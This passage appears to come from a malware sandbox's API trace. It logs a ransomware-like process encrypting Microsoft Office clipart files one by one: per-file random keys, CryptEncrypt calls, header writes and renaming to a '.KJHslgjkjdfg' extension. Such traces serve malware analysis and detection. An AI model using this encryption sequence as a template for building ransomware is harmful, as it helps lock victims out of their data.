"c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.kjhslgjkjdfg")) returned 1 [0182.620] CloseHandle (hObject=0x130) returned 1 [0182.621] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0182.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.621] GetProcessHeap () returned 0x990000 [0182.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.621] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.621] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0182.632] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.632] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.632] GetProcessHeap () returned 0x990000 [0182.632] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.632] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.632] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.632] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.632] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.633] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.633] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.633] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.633] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.633] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.633] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.633] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.633] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbaaa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbaaa, lpOverlapped=0x0) returned 1 [0182.665] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbab0, dwBufLen=0xbab0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbab0) returned 1 [0182.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.666] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbab0, lpOverlapped=0x0) returned 1 [0182.666] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.666] SetEndOfFile (hFile=0x130) returned 1 [0182.669] GetProcessHeap () returned 0x990000 [0182.669] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.669] GetProcessHeap () returned 0x990000 [0182.669] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.kjhslgjkjdfg")) returned 1 [0182.673] CloseHandle (hObject=0x130) returned 1 [0182.673] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0182.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.674] GetProcessHeap () returned 0x990000 [0182.674] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.674] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.674] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.995] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.995] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.995] GetProcessHeap () returned 0x990000 [0182.995] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.995] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.995] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.995] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.995] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.996] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.996] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.996] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.996] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.996] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.996] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x38cc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x38cc, lpOverlapped=0x0) returned 1 [0183.068] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x38d0, dwBufLen=0x38d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x38d0) returned 1 [0183.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.069] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x38d0, lpOverlapped=0x0) returned 1 [0183.069] CryptDestroyKey (hKey=0x9b6628) returned 1 [0183.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x39a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.069] SetEndOfFile (hFile=0x130) returned 1 [0183.070] GetProcessHeap () returned 0x990000 [0183.070] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0183.070] GetProcessHeap () returned 0x990000 [0183.070] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0183.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.kjhslgjkjdfg")) returned 1 [0183.073] CloseHandle (hObject=0x130) returned 1 [0183.074] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0183.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0183.075] GetProcessHeap () returned 0x990000 [0183.075] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0183.075] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0183.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0183.075] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0183.113] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0183.113] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0183.113] GetProcessHeap () returned 0x990000 [0183.113] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0183.113] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0183.113] CryptDestroyKey (hKey=0x9b6628) returned 1 [0183.113] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0183.113] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0183.113] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0183.113] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0183.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0183.113] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0183.114] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0183.114] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0183.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.114] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x504a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x504a, lpOverlapped=0x0) returned 1 [0183.202] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5050, dwBufLen=0x5050 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5050) returned 1 [0183.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.203] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5050, lpOverlapped=0x0) returned 1 [0183.203] CryptDestroyKey (hKey=0x9b6628) returned 1 [0183.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.203] SetEndOfFile (hFile=0x130) returned 1 [0183.206] GetProcessHeap () returned 0x990000 [0183.206] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0183.206] GetProcessHeap () returned 0x990000 [0183.206] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0183.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.kjhslgjkjdfg")) returned 1 [0183.210] CloseHandle (hObject=0x130) returned 1 [0183.210] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0183.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0183.211] GetProcessHeap () returned 0x990000 [0183.211] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0183.211] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0183.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0183.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0183.238] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0183.239] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0183.239] GetProcessHeap () returned 0x990000 [0183.239] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0183.239] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0183.239] CryptDestroyKey (hKey=0x9b6628) returned 1 [0183.239] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0183.239] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0183.239] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0183.239] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0183.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0183.239] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0183.240] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0183.240] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0183.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.240] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f1e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f1e, lpOverlapped=0x0) returned 1 [0183.283] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f20) returned 1 [0183.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.283] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f20, lpOverlapped=0x0) returned 1 [0183.283] CryptDestroyKey (hKey=0x9b6628) returned 1 [0183.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.284] SetEndOfFile (hFile=0x130) returned 1 [0183.286] GetProcessHeap () returned 0x990000 [0183.286] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0183.286] GetProcessHeap () returned 0x990000 [0183.286] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0183.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.kjhslgjkjdfg")) returned 1 [0183.290] CloseHandle (hObject=0x130) returned 1 [0183.290] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0183.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0183.291] GetProcessHeap () returned 0x990000 [0183.291] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0183.291] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0183.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0183.291] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, 